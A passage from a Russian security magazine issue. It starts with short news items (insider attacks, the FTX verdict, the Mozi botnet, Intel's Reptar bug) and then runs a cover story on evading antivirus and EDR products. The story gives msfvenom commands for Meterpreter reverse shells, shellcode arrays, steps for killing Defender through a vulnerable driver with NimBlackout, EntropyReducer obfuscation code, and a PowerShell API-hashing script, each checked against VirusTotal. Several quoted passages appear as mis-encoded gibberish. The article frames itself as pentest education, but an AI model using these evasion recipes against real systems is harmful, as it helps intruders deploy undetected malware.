от Shadowsocks, проще заблокировать с использованием средств ТСПУ.
Другой источник издания уточнил, что блокировка Shadowsocks «через
анализ трафика будет очень непростой из-за обфускации — высоки риски
затронуть другие, вполне легальные сервисы».

КОЛИЧЕСТВО ИНСАЙДЕРСКИХ АТАК УВЕЛИЧИЛОСЬ


В 1,5 ÐÀÇÀ
Эксперты компании «Инфосистемы Джет» провели исследование, посвященное инсайдерским
угрозам.

С начала 2023 года инсайдерские атаки от рядовых пользователей увеличились в 1,5 раза
по сравнению с аналогичным периодом прошлого года.

Спрос на инсайдерскую информацию за первое полугодие 2023 года вырос на 25%.

У 70% компаний обнаруживаются критичные недостатки в процессе управления доступом. И в


подавляющем большинстве случаев (83%) в рамках внутреннего тестирования на проник-
новение удается получить доступ к критичной информации с правами обычного пользователя.

Самыми опасными инсайдерами становятся текущие работники, работники с привилегирован-


ными правами доступа, а также работники подрядчиков, имеющие доступ к корпоративным
ресурсам.

В даркнете и Telegram-каналах также есть постоянный спрос на покупку и продажу инсайдер-


ской информации. Объявления такой направленности составляют около трети всех пред-
ложений на теневом рынке (это может быть покупка и продажа доступов к корпоративным
сетям или поиск готовых сотрудничать со злоумышленниками работников компаний).

Основными причинами успеха инсайдерских атак становятся отсутствие или недостаточность


контроля за несанкционированными действиями (78%), отсутствие своевременного реаги-
рования на инциденты (62%) и наличие избыточных прав доступа (59%).

Продолжение статьи →
← Начало статьи

БЭНКМАН-ФРИД
ПРИЗНАН
ВИНОВНЫМ

Федеральный суд с участием присяжных заседателей признал основателя


и бывшего главу криптовалютной биржи FTX и фонда Alameda Research Сэма
Бэнкмана-Фрида виновным по семи пунктам обвинения. Максимальный срок
лишения свободы по этим обвинениям составляет 110 лет.
Напоминаем, что мы посвятили краху FTX и скандалу, связанному с ее бан-
кротством, большую статью.
Судебный процесс проходил в окружном суде США по Южному округу
Нью-Йорка, расположенном на Манхэттене. В обвинительном заключении
сказано, что Сэм Бэнкман-Фрид «присвоил и растратил средства клиентов
FTX и использовал миллиарды долларов похищенных средств... для собствен-
ного обогащения; поддержания деятельности FTX; финансирования спекуля-
тивных венчурных инвестиций; сделал более ста миллионов долларов взно-
сов в избирательные кампании демократов и республиканцев с целью пов-
лиять на криптовалютное регулирование; а также для оплаты операционных
расходов Alameda». Также его обвинили в том, что он делал «ложные
и мошеннические заявления и утверждения для инвесторов FTX и кредиторов
Alameda».
В список из семи обвинений входят:
• мошенничество с использованием электронных средств связи;
• сговор с целью совершения мошенничества с использованием электрон-
ных средств связи против клиентов FTX;
• мошенничество с использованием электронных средств связи по отно-
шению к кредиторам Alameda Research;
• сговор с целью совершения мошенничества с использованием электрон-
ных средств связи в отношении кредиторов Alameda Research;
• сговор с целью совершения мошенничества с ценными бумагами
инвесторов FTX;
• сговор с целью совершения мошенничества с ценными бумагами кли-
ентов FTX в связи с покупкой и продажей криптовалюты и свопов;
• сговор с целью отмывания денег.

Пять обвинений, связанных с мошенничеством с использованием электрон-


ных средств связи и отмыванием денег, предусматривают максимальное
наказание в виде двадцати лет лишения свободы за каждое, а оставшиеся
два обвинения — в виде пяти лет лишения свободы за каждое.
Присяжные вынесли вердикт после примерно четырех часов обсуждения.
Фактический приговор бывшему главе FTX будет вынесен и оглашен 28 мар-
та 2024 года.
На этом процессе Сэм Бэнкман-Фрид, который так и не признал себя
виновным, решил дать показания в свою защиту и попытался переложить
вину за случившееся на других. Сообщается, что на вопросы обвинения он
больше ста раз отвечал «я не уверен» или «я не помню», избегая прямых
ответов.
Также он заявил, что допустил ошибки, управляя FTX (например, не сфор-
мировал команду по управлению рисками), но не похищал средства клиентов.
Бэнкман-Фрид подчеркивал, что, по его собственному мнению, заимство-
вания, которые Alameda делала у FTX, были разрешены, и он не осознавал,
насколько велики долги, пока дело не дошло до краха обеих компаний.
Три экс-руководителя FTX и дочерней Alameda Research (Гэри Ван, Нишад
Сингх и бывшая девушка Бэнкмана-Фрида Кэролайн Эллисон) признали свою
вину и дали показания против бывшего руководителя. В своих показаниях они
заявили, что Бэнкман-Фрид направлял их на совершение преступлений, в том
числе помогал Alameda разграблять FTX, а также лгал кредиторам и инвесто-
рам о настоящем положении дел в компаниях.
В ноябре были представлены заключительные аргументы сторон, и судеб-
ный процесс, длившийся около месяца, подошел к концу.
В суде прокурор США Николас Роос заявлял, что нет никаких серьезных
сомнений в том, что 10 миллиардов долларов средств, принадлежащих кли-
ентам FTX, пропали, и что теперь присяжные должны решить, знал ли Бэн-
кман-Фрид о том, что его действия были неправомерными.

« «Ýòî áûëà öåëàÿ ïèðàìèäà îáìàíà, ïîñòðîåííàÿ ïîäñóäèìûì íà ôóí-


äàìåíòå èç ëæè è ëîæíûõ îáåùàíèé, è âñå ýòî äëÿ òîãî, ÷òîáû
ïîëó÷èòü äåíüãè, — ñêàçàë Ðîîñ. —  èòîãå îíà ðóõíóëà, îñòàâèâ ïîñëå
ñåáÿ òûñÿ÷è æåðòâ».

Защитник экс-главы FTX Марк Коэн настаивал на том, что Бэнкман-Фрид


»
допускал ошибки, но не совершал преступлений:

« «Áèçíåñ ðåøåíèÿ, ïðèíÿòûå èç ëó÷øèõ ïîáóæäåíèé, íå ÿâëÿþòñÿ


îñíîâàíèåì äëÿ îñóæäåíèÿ, — çàÿâëÿë Êîýí. — Ïëîõîå óïðàâëåíèå
ðèñêàìè — ýòî íå ïðåñòóïëåíèå. Ïëîõèå áèçíåñ ðåøåíèÿ — íå ïðåñ-
òóïëåíèå».

Сторона обвинения сравнивала эту аргументацию с тем, «как если бы кто-то


»
ограбил ювелирный магазин и оправдывал свои действия тем, что там
не было охранника». «Обвиняемый знал, что поступает неправильно, и имен-
но поэтому не стал нанимать специалистов по управлению рисками», — нас-
таивал прокурор Даниэль Сассун.
Хотя завершившийся судебный процесс охватывал семь уголовных обви-
нений, в общей сложности Бэнкману-Фриду были предъявлены обвинения
по двенадцати пунктам. Отдельное судебное разбирательство, запланиро-
ванное на март 2024 года, будет посвящено оставшимся обвинениям,
а именно мошенничеству против клиентов FTX в связи с покупкой и продажей
деривативов, мошенничеству с ценными бумагами клиентов FTX, сговору
с целью совершения банковского мошенничества, сговору с целью ведения
нелицензированного бизнеса по переводу денег, а также сговору с целью
нарушения антикоррупционных положений Закона о противодействии кор-
рупции за рубежом.
После оглашения вердикта присяжных адвокат Марк Коэн заявил, что
«разочарован», но уважает их решение.

« «Ìèñòåð Áýíêìàí Ôðèä íàñòàèâàåò íà ñâîåé íåâèíîâíîñòè è áóäåò


ïðîäîëæàòü àêòèâíî áîðîòüñÿ ñ âûäâèíóòûìè ïðîòèâ íåãî îáâèíåíè-
ÿìè», — ñîîáùèë ïðåññå Êîýí.
»
Стоит отметить, что с августа 2023 года Бэнкман-Фрид находится в тюрьме,
куда попал после того, как судья отменил его залог и домашний арест, придя
к выводу, что бывший глава FTX, вероятно, пытался манипулировать свидете-
лями.

АУДИТОРИЯ TELEGRAM В РОССИИ ВЫРОСЛА


ДО 82,3 ÌÈËËÈÎÍÀ ЧЕЛОВЕК
Исследовательская компания Mediascope подсчитала, что аудитория Instagram (принадлежит
корпорации Meta, деятельность которой признана экстремистской и запрещена в РФ) после
блокировки продолжает падать. По итогам октября 2023 года месячный охват платформы
в России составил всего 25,1 миллиона человек — в 2,5 раза меньше, чем
в октябре 2021 года.

При этом аудитория Facebook, также принадлежащей Meta, еще в 2022 году сократилась
в 2,3 раза, с 41,3 миллиона до 18 миллионов человек, но с тех пор этот показатель
не менялся.

Главным бенефициаром происходящего стал Telegram: по итогам октября 2023 года охват этой
платформы составил 82,3 миллиона человек, что на 15% больше, чем в октябре 2022 года,
и на 62% больше, чем в октябре 2021 года. Отмечается, что при этом рост других российских
соцсетей («Вконтакте» и «Одноклассников») заметно замедлился.

БОТНЕТ MOZI
ОТКЛЮЧИЛСЯ

Специалисты строят теории о загадочном отключении ботнета Mozi, который


недавно был ликвидирован с помощью специального «рубильника», пред-
назначенного для деактивации всех ботов.
Mozi — известный DDoS-ботнет, появившийся еще в 2019 году и нацелен-
ный в первую очередь на IoT-устройства, такие как маршрутизаторы, DVR
и другие гаджеты, подключенные к интернету. Эта малварь использовала
известные уязвимости и слабые пароли для компрометации устройств
и включения их в свою P2P-сеть, где они взаимодействовали с помощью про-
токола BitTorrent DHT.
В июне 2021 года китайская ИБ-компания Qihoo 360 сообщала, что Mozi
насчитывает около 1,5 миллиона зараженных устройств, более 800 тысяч
находятся в Китае. Спустя несколько недель после этого компания расска-
зала, что помогала правоохранительным органам в аресте предполагаемых
разработчиков Mozi, отметив при этом, что сам ботнет, скорее всего, сох-
ранит жизнеспособность и продолжит работу.
Как сообщили теперь специалисты компании ESET, резкое падение
активности Mozi началось еще 8 августа 2023 года с остановки всех опе-
раций ботнета в Индии. За этим 16 августа 2023 года последовало аналогич-
ное внезапное прекращение деятельности в Китае, на родине ботнета.

Затем 27 сентября 2023 года всем ботам Mozi восемь раз было отправлено
одинаковое UDP-сообщение с указанием загрузить обновление через HTTP,
которое привело к следующему:
• ликвидация вредоносного процесса Mozi;
• отключение некоторых системных служб (sshd и dropbear);
• замена файла Mozi;
• выполнение команд конфигурации на устройстве;
• блокировка доступа к различным портам;
• создание плацдарма для нового файла.

Исследователи считают, что это была контролируемая ликвидация, так


как человек, активировавший этот «рубильник», решил подготовить заражен-
ные системы для новой полезной нагрузки, которая может пинговать удален-
ный сервер.
Анализ кода, проведенный исследователями, показал значительное
сходство между оригинальным кодом Mozi и бинарными файлами, исполь-
зованными при уничтожении ботнета, в которых были указаны корректные
приватные ключи для подписи пейлоада. По мнению специалистов,
это намекает на причастность к уничтожению ботнета его создателей
или китайских правоохранительных органов.

« «Óíè÷òîæåíèå îäíîãî èç ñàìûõ ìîùíûõ IoT-áîòíåòîâ ïðåäñòàâëÿåò


ñîáîé èíòåðåñíûé ñ òî÷êè çðåíèÿ êèáåðêðèìèíàëèñòèêè ñëó÷àé,
äàþùèé íàì èíòðèãóþùóþ òåõíè÷åñêóþ èíôîðìàöèþ î òîì, êàê ñîç-
äàþòñÿ, ðàáîòàþò è ëèêâèäèðóþòñÿ ïîäîáíûå áîòíåòû», — ïèøóò àíà-
ëèòèêè ESET.
»
ТЕЛЕКОМЫ СТАНОВЯТСЯ ЖЕРТВАМИ DDOS
Аналитики группы компаний «Гарда» провели исследование изменений ландшафта и особен-
ностей DDoS-атак в третьем квартале 2023 года.

Доля флуда TCP SYN значительно выросла, достигнув 60%. На втором месте (20%) рас-
положился флуд TCP ACK, а UDP-флуд занимает третье место с 13%.

Доля атак типа DNS Amplication составила всего 3%, показав снижение по сравнению со вто-
рым кварталом, а доля NTP Amplication и вовсе упала с 9 до 1%.

Наибольший объем атак был зарегистрирован на сетях телеком операторов. Это объясня-
ется тем, что операторы интенсивно борются с DDoS-атаками, защищая как собственные объ-
екты, так и ресурсы своих клиентов, размещенные в той же инфраструктуре.

На втором месте оказалась сфера транспорта и перевозок. На третьем — ресурсы гос-


сектора.

Также исследователи отметили неожиданно большое количество атак на топливно энер-


гетический комплекс и промышленность. По их мнению, это может говорить о попытках
хакеров воздействовать на сектор реальной экономики.

БАГ REPTAR
УГРОЖАЕТ ЧИПАМ
INTEL

Компания Intel устранила серьезную уязвимость в процессорах для дескто-


пов, серверов, мобильных устройств и встраиваемых систем, включая новей-
шие микроархитектуры Alder Lake, Raptor Lake и Sapphire Rapids. Проблема
может использоваться для повышения привилегий, получения доступа к кон-
фиденциальной информации и провоцирования отказа в обслуживании.
Уязвимость, обнаруженная самими инженерами Intel, получила иден-
тификатор CVE-2023-23583 и описывается как «проблема избыточного пре-
фикса».
Изначально считалось, что эта ошибка может использоваться только
для провоцирования отказа в обслуживании (уязвимость получила толь-
ко 5,5 балла по шкале CVSS), и Intel планировала выпустить патч для нее
в марте 2024 года. Однако более глубокий анализ показал, что существует
способ использовать баг для повышения привилегий, поэтому Intel перенес-
ла дату выхода патча на ноябрь 2023 года. В итоге оценка уязвимости изме-
нилась и теперь составляет 8,8 балла по шкале CVSS.

« «Ïðè îïðåäåëåííûõ îáñòîÿòåëüñòâàõ íà ìèêðîàðõèòåêòóðàõ Intel âûÿâ-


ëåíû ñëó÷àè, êîãäà âûïîëíåíèå èíñòðóêöèè (REP MOVSB), çàêîäè-
ðîâàííîé ñ èçáûòî÷íûì ïðåôèêñîì REX, ìîæåò ïðèâîäèòü ê íåïðåä-
ñêàçóåìîìó ïîâåäåíèþ ñèñòåìû, âûçûâàþùåìó êðèòè÷åñêèé ñáîé
èëè çàâèñàíèå, à â íåêîòîðûõ ñöåíàðèÿõ — ê ïîâûøåíèþ ïðèâèëåãèé
ñ CPL3 äî CPL0, — ñîîáùàþò èíæåíåðû Intel. — Intel íå ðàññ÷èòûâàåò,
÷òî êàêîå ëèáî íåâðåäîíîñíîå ïðîãðàììíîå îáåñïå÷åíèå ñòîëêíåòñÿ
ñ ýòîé ïðîáëåìîé â ðåàëüíûõ óñëîâèÿõ. Îæèäàåòñÿ, ÷òî èçáûòî÷íûå
ïðåôèêñû REX íå áóäóò ïðèñóòñòâîâàòü â êîäå è ãåíåðèðîâàòüñÿ êîì-
ïèëÿòîðàìè. Âðåäîíîñíàÿ ýêñïëóàòàöèÿ ýòîé ïðîáëåìû òðåáóåò
âûïîëíåíèÿ ïðîèçâîëüíîãî êîäà. Òàêæå â ðàìêàõ âíóòðåííåé ïðîâåð-
êè, ïðîâåäåííîé â êîíòðîëèðóåìîé ëàáîðàòîðíîé ñðåäå, Intel âûÿâèëà
âîçìîæíîñòü ïîâûøåíèÿ ïðèâèëåãèé â îïðåäåëåííûõ ñöåíàðèÿõ».

Системы с уязвимыми процессорами, в том числе с Alder Lake, Raptor Lake


»
и Sapphire Rapids, уже получили обновленные микрокоды, причем эти патчи
не оказывают влияния на производительность.
Также компания выпустила обновления микрокода для других процес-
соров. Пользователям рекомендуется обновить BIOS, ОС и драйверы, чтобы
получить патчи от OEM-производителей, поставщиков ОС и поставщиков
гипервизоров.
Полный список процессоров, затронутых уязвимостью CVE-2023-23583,
а также рекомендации по ее устранению доступны на сайте Intel.
Эксперт Google Тэвис Орманди (Tavis Ormandy) сообщил, что ту же уяз-
вимость самостоятельно обнаружили несколько исследовательских групп
Google, включая Google Information Security Engineering и команду silifuzz,
которые дали проблеме имя Reptar.
Как пояснил вице-президент и CISO Google Cloud Фил Венаблс (Phil
Venables), баг связан с тем, «как избыточные префиксы интерпретируются
процессором, что в случае успешной эксплуатации приводит к обходу защит-
ных границ».
По данным специалистов Google, злоумышленник в многопользователь-
ской виртуальной среде может использовать эту уязвимость для атаки на гос-
тевую машину, что приведет к отключению хоста и отказу в обслуживании
для других гостей на этом хосте. Также, как уже отмечалось выше, проблема
может помочь раскрыть информацию и повысить привилегии.

Критический баг в Atlassian Conuence приводит к потере данных

Обнаружен подпольный сервис для сокращения URL

Для борьбы с распространением малвари Discord будет использовать временные ссылки

LockBit взломала Boeing и сливает похищенные данные

Алгоритмы стандарта транкинговой связи TETRA станут доступны широкой публике

Атака CacheWarp позволяет обойти защиту AMD SEV и получить root-доступ

Исследователи извлекают ключи RSA из SSH-трафика

Криптовалютные кошельки 2011–2015 годов уязвимы перед проблемой Randstorm

Разработчики Lumma заявили, что могут восстановить устаревшие cookie Google

Пароли администраторов раскрыты из-за критического бага в ownCloud


COVERSTORY

Антивирусы и системы EDR становятся всё


навороченнее и даже используют машин-
ное обучение для более точного детек-
тирования. Но у авторов малвари по-преж-
нему остаются способы обойти все про- Кристина Гук
Специалист по тестированию
верки. В этой статье я покажу несколько на проникновение в RTM
Group
техник и инструментов, которые применяют deadunii@yandex.ru

злоумышленники.

Материал призван помочь практикующим специалистам по пентесту и SoC-


аналитикам разобраться с тем, как злоумышленники могут проникать в сис-
темы, минуя EDR (endpoint detection & response).

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

ÍÀ ×ÅÌ ÌÛ ÒÅÑÒÈÐÎÂÀËÈ

Для исследований мы использовали Kaspersky Endpoint Detection


and Response и его вариацию для Linux (KESL), опенсорсный ClamAV, McAffee,
Microsoft Defender Advanced Threat Protection, а также VirusTotal.
Конечная цель — получить обратное соединение на наш C2-сервер, роль
которого будет исполнять Metasploit Framework, один из самых популярных
пентестерских инструментов.
За последние годы АV и EDR научились уже на ранних стадиях обнаружи-
вать файлы, которые были сгенерированы Metasploit, потому что существует
множество сигнатур для выявления установки bind- и reverse-шеллов. EDR
определяют, какие файлы .dll и .so используются при старте оболочки
Meterpreter, и это лишь малая часть признаков, помогающих выявить вре-
доносный процесс. Для чистоты эксперимента мы возьмем шелл-код, сге-
нерированный через msfvenom, и будем пытаться его модернизировать.
Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефол-
тный exe-стейджер, сгенерированный следующей командой:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f


exe -o ab.exe

Результаты проверки на VirusTotal

То есть стандартный стейджер без проблем обнаруживается современными


защитными решениями.
Давай попробуем сделать вариант с обходом. Будем генерировать
шелл-код на С, так как это идеальный выбор, если нам нужна скорость
и кросс-платформенность.
Вот как выглядит наш первоначальный шелл-код:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows


from the payload

[-] No arch selected, selecting arch: x86 from the payload


No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of c file: 1518 bytes

unsigned char buf[] =


"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
"\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"

...

"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

Ничего необычного. Шелл-код просто дает реверс-шелл, а обмен данных


происходит по TCP. Мы даже не применяли шифрование и кодирование.

В последние годы большинство вендоров AV/EDR внедрили поведенческий


анализ с использованием машинного обучения, что позволяет более точно
анализировать поведение программы и классифицировать ее как вредонос-
ную. Для этого проводится постоянный мониторинг процесса: EDR сравнива-
ет действия с профилями поведения. Это повышает шансы обнаружения,
но нагружает систему, может приводить к ложным срабатываниям и конфлик-
там с другим ПО.
И конечно, по-прежнему актуальны старые методы:
• эвристический анализ;
• сигнатурный анализ
• сендбоксинг;
• IAT checking (проверка используемых функций и библиотек. Например,
если в IAT есть функции шифрования, то EDR может решить, что перед ним
шифровальщик);
• API hooking (перехват вызовов функций и перенаправление потока кода).

В общем, чем дальше, тем больше всяких проверок.

На сетевом уровне существует несколько


методов, которые можно использовать, чтобы
попытаться избежать обнаружения: DNS-тун-
нелирование, самоподписанные сертификаты
HTTPS, протокол ICMP. Однако современные сис-
темы обнаружения угроз не поддаются на все эти
уловки.

ÔÐÅÉÌÂÎÐÊÈ ÄËß ÎÁÕÎÄÀ AV/EDR

NimBlackout
NimBlackout позволяет удалить AV/EDR при помощи уязвимого драйвера.
Драйвер GMER используется для взаимодействия с ядром операционной
системы и дает возможность обнаруживать и анализировать скрытые вре-
доносные элементы.
Программа написана на Nim, давай скомпилируем ее на Linux:

nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.


linkerexe:x86_64-w64-mingw32-gcc c NimBlackout.nim

На выходе получили PE, в который нужно передать процесс с антивирусом.


Далее надо установить уязвимый драйвер в ОС и запустить наш исполня-
емый файл.

Установка драйвера и запуск .exe

Эта атака нацелена на Microsoft Defender. Однако тут есть одно но: версия
GMER из этого PoC может не сработать на Windows 11 и последних версиях
Windows 10. Более того, для запуска нам нужно иметь привилегии локального
администратора.

EntropyReducer
Как ты, возможно, знаешь, энтропия — это степень случайности в заданном
наборе данных. Существуют разные способы измерять энтропию, в нашем
контексте под этим термином мы будем подразумевать энтропию Шеннона,
которая дает значение от 0 до 8. С увеличением уровня случайности в наборе
данных увеличивается и значение энтропии.
Двоичные файлы вредоносного ПО зачастую имеют более высокую энтро-
пию, чем обычные файлы. Высокая энтропия — явный показатель сжатых,
зашифрованных или упакованных данных, которые используются вредонос-
ными программами для скрытия сигнатур.
Для примера посчитаем энтропию от обычного meterpreter/reverse_tcp.
Сначала сгенерируем файл:

msfvenom -p windows/meterpreter/reverse_tcp LHOST = eth0 LPORT =


4444 -f raw -o entropy.bin

Для подсчета энтропии мы будем использовать PeStudio.

Подсчет энтропии файла entropy.bin

Результат неутешительный — 6,265, и, как мы видим, PeStudio сразу может


предоставить информацию о том, какие антивирусы классифицировали .bin
как вредоносный файл.
Если число близится к 8, значит, с огромной вероятностью файл вре-
доносный. Это отмечено в гистограмме ниже.

Гистограмма энтропии файлов

Как нам снизить это значение? Тут поможет инструмент EntropyReducer.


EntropyReducer сначала проверяет, кратен ли размер полезной нагрузки
BUFF_SIZE (эта переменная указывает на количество байтов в полезной наг-
рузке, после которых будут добавлены пустые байты, NULL_BYTES). Если нет,
он увеличивает его до необходимого значения.

// This will represent the seraizlized size of one node


#define SERIALIZED_SIZE (BUFF_SIZE + NULL_BYTES + sizeof(INT)
// Serialized payload size: SERIALIZED_SIZE * (number of nodes)
// Number of nodes: (padded payload size) / BUFF_SIZE

Затем он берет каждый блок BUFF_SIZE из полезной нагрузки и создает


для него узел связного списка с помощью функции InitializePayloadList.

BOOL InitializePayloadList(IN PBYTE pPayload, IN OUT PSIZE_T


sPayloadSize, OUT PLINKED_LIST* ppLinkedList);

PLINKED_LIST InsertAtTheEnd(IN OUT PLINKED_LIST LinkedList, IN PBYTE


pBuffer, IN INT ID);

VOID MergeSort(PLINKED_LIST* top, enum SORT_TYPE eType)

У созданного узла пустой буфер размером NULL_BYTES. Этот буфер будет


применяться для снижения энтропии.
Затем EntropyReducer продолжает случайным образом менять порядок
каждого узла в связном списке, нарушая порядок исходной полезной наг-
рузки. Этот шаг выполняется с помощью алгоритма сортировки слиянием,
который реализован в функции MergeSort.

case SORT_BY_BUFFER: {
iValue1 = (int)(top1->pBuffer[0] ^ top1->pBuffer[1] ^ top1->pBuffer
[2]); // calculating a value from the payload buffer chunk
iValue2 = (int)(top2->pBuffer[0] ^ top2->pBuffer[1] ^ top2->pBuffer
[2]); // calculating a value from the payload buffer chunk
break;
}

Отсортированный связный список хранится в случайном порядке, потому что


значение, по которому он сортируется, — это значение XOR первых трех бай-
тов исходной полезной нагрузки. Именно оно определяет позицию в реор-
ганизованном связном списке.

BOOL Obfuscate(IN PBYTE PayloadBuffer, IN SIZE_T PayloadSize, OUT


PBYTE* ObfuscatedBuffer, OUT PSIZE_T ObfuscatedSize) {
PLINKED_LIST pLinkedList = NULL;
*ObfuscatedSize = PayloadSize;
// Convert the payload to a linked list
if (!InitializePayloadList(PayloadBuffer, ObfuscatedSize, &
pLinkedList))
return 0;

// ObfuscatedSize now is the size of the serialized linked list


// pLinkedList is the head of the linked list
// Randomize the linked list (sorted by the value of 'Buffer[0] ^
Buffer[1] ^ Buffer[3]')
MergeSort(&pLinkedList, SORT_BY_BUFFER);

// printf("---------------------------\n\n");
// PrintList(pLinkedList);
// printf("---------------------------\n\n");

PLINKED_LIST pTmpHead = pLinkedList;


SIZE_T BufferSize = NULL;
PBYTE BufferBytes = (PBYTE)LocalAlloc(LPTR, SERIALIZED_SIZE);

// Serailize the linked list


while (pTmpHead != NULL) {
// This buffer will keep data of each node
BYTE TmpBuffer [SERIALIZED_SIZE] = { 0 };
// Copying the payload buffer
memcpy(TmpBuffer, pTmpHead->pBuffer, BUFF_SIZE);
// No need to copy the 'Null' element, cz its NULL already
// Copying the ID value
memcpy((TmpBuffer + BUFF_SIZE + NULL_BYTES), &pTmpHead->ID, sizeof(
int));
// Reallocating and moving 'TmpBuffer' to the final buffer
BufferSize += SERIALIZED_SIZE;
if (BufferBytes != NULL) {
BufferBytes = (PBYTE)LocalReAlloc(BufferBytes, BufferSize,
LMEM_MOVEABLE | LMEM_ZEROINIT);
memcpy((PVOID)(BufferBytes + (BufferSize - SERIALIZED_SIZE)),
TmpBuffer, SERIALIZED_SIZE);
}
// Next node
pTmpHead = pTmpHead->Next;
}

// 'BufferBytes' is the serailized buffer


*ObfuscatedBuffer = BufferBytes;
if (*ObfuscatedBuffer != NULL && *ObfuscatedSize > PayloadSize)
return 1;
else
return 0;
}

Поскольку сохранение списка в файле невозможно из-за того, что он уже


связан указателями, приходится делать сериализацию с помощью функции
Obfuscate. После этого выполняется запись в output_file.
Вот что выдает VirusTotal при анализе.

Результаты проверки на VirusTotal

Теперь модифицируем файл через EntropyReducer.

Запуск EntropyReducer

Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ

ИЗУЧАЕМ ИНСТРУМЕНТЫ ОБХОДА


АНТИВИРУСОВ И EDR

Теперь обнаружение значительно ниже.

Подсчет энтропии файла

Результаты проверки на VirusTotal

Вот так выглядит измененный шелл-код с уменьшенной энтропией:

unsignedcharentropy_bin_ER[] = {
0x68, 0xc0, 0xa8, 0x8d, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00,
0x29, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x04, 0x56, 0x57, 0x68, 0x00,
0x3d,
...
0x00, 0x00, 0x00, 0x8b, 0x58, 0x24, 0x01, 0x00, 0x1b, 0x00, 0x00,
0x00,
0xbb, 0xf0, 0xb5, 0xa2, 0x00, 0x56, 0x00, 0x00, 0x00};
unsigned int entropy_bin_ER_len = 801;

Этот код мы можем скомпилировать в .exe. После чего уже не составит труда
запустить его, как обычный исполняемый файл.

ÏÐÈÌÅÍßÅÌ API HASHING

API Hashing — это техника, которую разработчики вредоносного ПО применя-


ют, чтобы скрыть подозрительные вызовы Windows API от таблицы импорта
адресов портативного исполняемого файла (PE). Это затрудняет анализ, пос-
кольку становится сложнее определить, какие функции вызываются.

Êàê ýòî ðàáîòàåò?


Проблема для разработчиков вредоносного ПО: если есть PE с непов-
режденной IAT (Import Address Table), легко понять, каковы возможности PE.
Например, если видно, что двоичный файл загружает Ws2_32.dll, можно
предположить, что он имеет сетевые возможности.
Чтобы усложнить первоначальный анализ PE, вирусописатели скрывают
подозрительные вызовы API от IAT с помощью API-хеширования. Таким обра-
зом, когда аналитик запустит вредоносный двоичный файл через утилиту
strings или откроет его в PE-парсере, подозрительные Windows API будут
скрыты.

Ïðèìåð îáõîäà
Предположим, у нас есть вредоносное ПО, которое использует функцию
CreateThread. Если мы скомпилируем код и проанализируем его с помощью
PE-парсера, увидим, что CreateThread — одна из импортированных фун-
кций. Однако если мы применим технику API Hashing, то CreateThread
исчезнет из IAT.
Для этого разработчики вредоносного ПО могут использовать следующий
подход:
1. Создается хеш-функция, которая принимает имя функции (например,
CreateThread) и возвращает уникальное хеш-значение.
2. Вредоносное ПО во время выполнения перебирает все экспортирован-
ные функции из библиотеки (например, kernel32.dll), вычисляет их
хеши и сравнивает с хешем CreateThread.
3. Как только хеш совпадает, вредоносное ПО получает адрес функции
и может вызвать ее напрямую, минуя IAT.

Рассмотрим подробнее. Как мы должны получить хеш от вызова API?


У нас есть пример алгоритма хеширования, который может преобразовать
любую функцию в хеш:

$APIsToHash = @("VirtualAlloc")
$APIsToHash | % {
$api = $_
$hash = 0x35
[int]$i = 0
$api.ToCharArray() | % {
$l = $_
$c = [int64]$l
$c = '0x{0:x}' -f $c
$hash += $hash * 0xab10f29f + $c -band 0xffffff
$hashHex = '0x{0:x}' -f $hash
$i++
write-host "Iteration $i : $l : $c : $hashHex"
}
write-host "$api`t $('0x00{0:x}' -f $hash)"
}

За основу для хеширования мы взяли функцию VirtualAlloc. Она позволяет


зарезервировать определенный объем памяти.

Преобразование функции в хеш

Проблема только в том, что шелл Meterpreter делает вызов ко множеству API,
включая ExitProcess, LoadLibraryA, VirtualAlloc и VirtualFree. И это
далеко не полный список. Что же нам делать? Здесь помогает Randomise-api-
hashes-cobalt-strike. Этот скрипт вычисляет хеши для огромного множества
API и заменяет их названия в шелл-коде. Давай установим его на Kali Linux
и посмотрим, как он работает.
Клонируем репозиторий.

Клонирование репозитория

Генерируем шелл-код в сыром виде и записываем в файл с расширением


.bin.

Инструмент принимает на вход только .bin!

Генерация шелл-кода

И наконец, напустим инструмент на le.bin.

Запуск инструмента Randomise-api-hashes-cobalt-strike

Заметил цифру 64 после названия скрипта? Это мы прописываем архитек-


туру. Разная разрядность — разные вызовы API. После отработки мы получа-
ем файл file.bin_0xf9.bin. Если понадобится получить шелл-код в сыром
виде (С-code), то вновь используем xxd.

Получение шелл-кода в С-code

А что по обнаружениям?
VirusTotal дал 11 из 69.

Результаты проверки на VirusTotal

И решения из списка исследуемых не дали отрицательный результат.

Результаты обнаружения

Этот шелл-код уже можно скомпилировать в .exe.

Шелл-код для компиляции

Подробнее о технике API Hashing читай в статье


«Веселые хеши. Реализуем технику API Hashing,
чтобы обдурить антивирус».

ÂÛÂÎÄÛ

Хотя на сегодняшний день AV/EDR-решения используют для выявления ано-


мальных действий самые передовые технологии, включая машинное обу-
чение, поведенческую аналитику и прочее, они пока не стали панацеей
от киберугроз. Мы рассмотрели несколько методов, некоторые из них пока
актуальны и позволяют обойти антивирусные решения. Все это важно учи-
тывать сотрудникам компаний, отвечающих за защиту ресурсов и предотвра-
щение реализации киберугроз.
COVERSTORY

В этой статье речь пойдет об уязвимости,


позволяющей выполнить локальное
повышение привилегий (LPE) в операци-
онных системах семейства Windows. Баг
напрямую связан с NTLM-аутентификацией, trazzz0rd
Пентестер Лаборатории
